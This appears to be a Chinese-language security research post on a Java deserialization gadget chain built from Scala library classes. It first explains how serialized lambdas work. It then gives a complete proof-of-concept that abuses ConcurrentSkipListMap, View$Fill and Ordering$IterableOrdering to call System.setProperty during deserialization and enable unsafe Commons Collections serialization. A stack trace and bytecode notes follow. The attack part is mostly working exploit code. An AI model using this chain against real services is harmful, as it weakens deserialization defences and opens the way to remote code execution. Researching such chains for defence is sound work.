从Scala Chain看新切入面

package Gadgets;import java.io.*;import java.lang.reflect.Method;@FunctionalInterfaceinterface Function0<R> extends Serializable {    R apply();}public class LambdaTest {    public static void main(String[] args) throws Exception{        Function0 runnable = ()-> {                System.out.println("Hello World");                return "Hello World";            };        Method writeRepla = runnable.getClass().getDeclaredMethod("writeReplace");        writeRepla.setAccessible(true);        Object invoke = writeRepla.invoke(runnable);        System.out.println(invoke);    }}

SerializedLambda[capturingClass=class Gadgets.LambdaTest, functionalInterfaceMethod=Gadgets/Function0.apply:()Ljava/lang/Object;, implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;, instantiatedMethodType=()Ljava/lang/Object;, numCaptured=0]注意：capturingClass=class Gadgets.LambdaTest指的是Gadgets.LambdaTest#lambda$main$3d3fdb01$1这个方法所在类implementation=invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object;代表具体实现class Gadgets.LambdaTest Gadgets/Function0.apply:()Ljava/lang/Object; 代码逻辑invokeStatic Gadgets/LambdaTest.lambda$main$3d3fdb01$1:()Ljava/lang/Object这里的invokeStatic是因为MethodhnaleInfo是REF_invokeStaticGadgets/LambdaTest是implClasslambda$main$3d3fdb01$1是implMethodName()Ljava/lang/Object是函数Gadgets.LambdaTest#lambda$main$3d3fdb01$1方法签名

package Gadgets;import java.lang.invoke.SerializedLambda;import java.lang.invoke.LambdaForm.Hidden;// $FF: synthetic classfinal class LambdaTest$$Lambda$14 implements Function0 {    private LambdaTest$$Lambda$14() {    }    @Hidden    public Object apply() {        return LambdaTest.lambda$main$3d3fdb01$1();    }    private final Object writeReplace() {        return new SerializedLambda(LambdaTest.class, "Gadgets/Function0", "apply", "()Ljava/lang/Object;", 6, "Gadgets/LambdaTest", "lambda$main$3d3fdb01$1", "()Ljava/lang/Object;", "()Ljava/lang/Object;", new Object[0]);    }}

package Gadgets;import scala.Tuple2;import sun.reflect.ReflectionFactory;import java.io.*;import java.lang.invoke.MethodHandleInfo;import java.lang.invoke.SerializedLambda;import java.lang.reflect.*;import java.util.concurrent.ConcurrentSkipListMap;public class ScalaTest {    public static void main(String[] args) throws Exception {        ReflectionFactory rf = ReflectionFactory.getReflectionFactory();        //e.g command = "org.apache.commons.collections.enableUnsafeSerialization:true");        String command = "org.apache.commons.collections.enableUnsafeSerialization:true";        String[] nameValue = command.split(":");        Tuple2 prop = new scala.Tuple2<>(nameValue[0],nameValue[1]);        long versionUID = ObjectStreamClass.lookup(scala.Tuple2.class).getSerialVersionUID();        System.out.println("VersionUID: " + versionUID);        SerializedLambda lambdaSetSystemProperty = new SerializedLambda(scala.sys.SystemProperties.class,                "scala/Function0", "apply", "()Ljava/lang/Object;",                MethodHandleInfo.REF_invokeStatic, "scala.sys.SystemProperties",                "$anonfun$addOne$1", "(Lscala/Tuple2;)Ljava/lang/String;",                "()Lscala/sys/SystemProperties;", new Object[]{prop});        Class<?> clazz = Class.forName("scala.collection.View$Fill");        Constructor<?> ctor = clazz.getConstructor(int.class, scala.Function0.class);        Object view = ctor.newInstance(1, createFuncFromSerializedLambda(lambdaSetSystemProperty));        clazz = Class.forName("scala.math.Ordering$IterableOrdering");        ctor = rf.newConstructorForSerialization(                clazz, Object.class.getDeclaredConstructor()        );//        ctor = StubClassConstructor.class.getDeclaredConstructor();        Object iterableOrdering = ctor.newInstance();        // on readObject, ConcurrentSkipListMap invokes comparator.compare(Object x, Object y);        // Initialize ConcurrentSkipList with a dummy comparator (a comparator that allows putting values into the list)        ConcurrentSkipListMap map = new ConcurrentSkipListMap((o1, o2) -> 1);        // add the view entry to the map, when the view.iterable().next() is invoked, the System.setProperty lambda is executed        map.put(view, 1);        map.put(view, 2);        // Replace the comparator with the IterableComparator        // IterableComparator is responsible for executing the view.iterable().next() on comparison        Field f = map.getClass().getDeclaredField("comparator");        f.setAccessible(true);        f.set(map,iterableOrdering);//        f.setAccessible(true);//        f.set(map, iterableOrdering);        try {            ByteArrayOutputStream baos = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(baos);            oos.writeObject(map);            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));            ois.readObject();        }catch (Exception e){        }    }    private static Object createFuncFromSerializedLambda(SerializedLambda serialized) throws IOException, ClassNotFoundException, IOException {        ByteArrayOutputStream baos = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(baos);        oos.writeObject(serialized);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));        return ois.readObject();    }}

setProperty:922, System (java.lang)$anonfun$addOne$1:53, SystemProperties (scala.sys)apply:-1, 1121454968 (scala.sys.SystemProperties$$Lambda$26)next:1008, Iterator$$anon$22 (scala.collection)compare:273, Ordering$IterableOrdering (scala.math)compare:267, Ordering$IterableOrdering (scala.math)cpr:393, ConcurrentSkipListMap (java.util.concurrent)readObject:1255, ConcurrentSkipListMap (java.util.concurrent)invoke0:-1, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:62, NativeMethodAccessorImpl (jdk.internal.reflect)invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)invoke:564, Method (java.lang.reflect)invokeReadObject:1216, ObjectStreamClass (java.io)readSerialData:2381, ObjectInputStream (java.io)readOrdinaryObject:2215, ObjectInputStream (java.io)readObject0:1707, ObjectInputStream (java.io)readObject:517, ObjectInputStream (java.io)readObject:475, ObjectInputStream (java.io)main:60, ScalaTest (Gadgets)

public final class scala.collection.Iterator$$anon$22 extends scala.collection.AbstractIterator<A> {    ......    .......  public scala.collection.Iterator$$anon$22(int, scala.Function0);    descriptor: (ILscala/Function0;)V    Code:       0: aload_0       1: iload_1       2: putfield      #26                 // Field len$3:I       5: aload_0       6: aload_2       7: putfield      #51                 // Field elem$4:Lscala/Function0;      10: aload_0      11: invokespecial #72                 // Method scala/collection/AbstractIterator."<init>":()V      14: aload_0      15: iconst_0      16: putfield      #28                 // Field i:I      19: return// 伪代码public scala.collection.Iterator$$anon$22(int len, scala.Function0 function){    this.len$3=len;    this.elem$4=function;    super.init();}